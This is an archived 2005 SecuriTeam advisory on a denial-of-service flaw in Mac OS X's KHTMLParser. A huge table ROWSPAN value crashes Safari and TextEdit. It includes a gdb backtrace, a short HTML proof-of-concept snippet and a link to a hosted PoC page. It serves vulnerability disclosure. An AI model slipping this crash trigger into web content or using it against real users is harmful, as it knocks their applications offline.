

# [NEWS] Mac OS X KHTMLParser DoS

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00111.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 28 Dec 2005 11:56:09 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Mac OS X KHTMLParser DoS

---

## SUMMARY

A denial of service vulnerability exists within the KHTMLParser on Apple OS X that allows an attacker to cause the application which uses this class to crash the application.

## DETAILS

Vulnerable Systems:

- \* Apple OS X version 10.4.3 and prior

When running a specially crafted .html file, the `khtml::RenderTableSection::ensureRows` improperly parses the data and causes the crash. The KHTML parser attempts to resize an internal array to the number of elements indicated by the rowspan value. If the value is very large, it is not possible to resize the array and the application quits. On a default install of Apple OS X, Safari and TextEdit are vulnerable.

Below the crash is triggered using Safari on OS X 10.4.3 within gdb:  
Program received signal SIGABRT, Aborted.  
0x9004716c in kill ()

## [NEWS] Mac OS X KHTMLParser DoS

```
(gdb) bt
#0 0x9004716c in kill ()
#1 0x90128b98 in abort ()
#2 0x95dcd974 in khtml::sYSMALLOC () <(-- Is called because of
sYSMALLOC(1234567890)
#3 0x95dce1a4 in khtml::main_thread_realloc ()
#4 0x95bc0d64 in KWQArrayImpl::resize ()
#5 0x95c05428 in khtml::RenderTableSection::ensureRows ()
#6 0x95c0784c in khtml::RenderTableSection::addCell ()
#7 0x95c076ac in khtml::RenderTableRow::addChild ()
#8 0x95bcb2d8 in DOM::NodeImpl::createRendererIfNeeded ()
#9 0x95bcb1c4 in DOM::ElementImpl::attach ()
#10 0x95bca254 in KHTMLParser::insertNode ()
#11 0x95bcadd8 in KHTMLParser::insertNode ()
#12 0x95bcadd8 in KHTMLParser::insertNode ()
#13 0x95bc83fc in KHTMLParser::parseToken ()
#14 0x95bc54a4 in khtml::HTMLTokenizer::processToken ()
#15 0x95bc6e08 in khtml::HTMLTokenizer::parseTag ()
#16 0x95bc4d24 in khtml::HTMLTokenizer::write ()
#17 0x95bc038c in KHTMLPart::write ()
#18 0x959b510c in -[WebDataSource(WebPrivate) _commitLoadWithData:] ()
#19 0x9598165c in -[WebMainResourceClient addData:] ()
#20 0x95981588 in -[WebBaseResourceHandleDelegate
didReceiveData:lengthReceived:] ()
#21 0x959db930 in -[WebMainResourceClient didReceiveData:lengthReceived:]
()
#22 0x95981524 in -[WebBaseResourceHandleDelegate
connection:didReceiveData:lengthReceived:] ()
#23 0x92910a64 in -[NSURLConnection(NSURLConnectionInternal)
_sendDidReceiveDataCallback] ()
#24 0x9290ef04 in -[NSURLConnection(NSURLConnectionInternal)
_sendCallbacks] ()
#25 0x9290eca0 in _sendCallbacks ()
#26 0x9075db20 in __CFRunLoopDoSources0 ()
#27 0x9075cf98 in __CFRunLoopRun ()
#28 0x9075ca18 in CFRRunLoopRunSpecific ()
#29 0x931861e0 in RunCurrentEventLoopInMode ()
#30 0x931857ec in ReceiveNextEventCommon ()
#31 0x931856e0 in BlockUntilNextEventMatchingListInMode ()
#32 0x93683904 in _DPSNextEvent ()
#33 0x936835c8 in -[NSApplication
nextEventMatchingMask:untilDate:inMode:dequeue:] ()
#34 0x00007910 in ?? ()
#35 0x9367fb0c in -[NSApplication run] ()
#36 0x93770618 in NSApplicationMain ()
#37 0x0000307c in ?? ()
#38 0x00057758 in ?? ()
```

The following HTML code will trigger the crash.  
You can test this out using Safari, or TextEdit:  
<TABLE WIDTH=" >

[NEWS] Mac OS X KHTMLParser DoS

```
<" >
onLoad=() STYLE=
<SPAN= STYLE= >
<TD STYLE=^ ROWSPAN=1234567890 >
```

Or access the following URL:

<<http://www.security-protocols.com/poc/sp-x22.html>>  
<http://www.security-protocols.com/poc/sp-x22.html>

ADDITIONAL INFORMATION

The original article can be found at:

<<http://www.security-protocols.com/advisory/sp-x22-advisory.txt>>  
<http://www.security-protocols.com/advisory/sp-x22-advisory.txt>

The information has been provided by

<<mailto:tommy@xxxxxxxxxxxxxxxxxxxxxxxx>> Tom Ferris.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- Prev by Date: [\*\*\*\[UNIX\] XPDF Multiple Buffer Overflow Vulnerabilities \(JPXStream.cc, Stream.cc\)\*\*\*](#)
- Next by Date: [\*\*\*\[EXPL\] dBpowerAMP Music Converter Buffer Overflow\*\*\*](#)
- Previous by thread: [\*\*\*\[UNIX\] XPDF Multiple Buffer Overflow Vulnerabilities \(JPXStream.cc, Stream.cc\)\*\*\*](#)
- Next by thread: [\*\*\*\[EXPL\] dBpowerAMP Music Converter Buffer Overflow\*\*\*](#)
- Index(es):
  - ◆ [\*\*\*Date\*\*\*](#)
  - ◆ [\*\*\*Thread\*\*\*](#)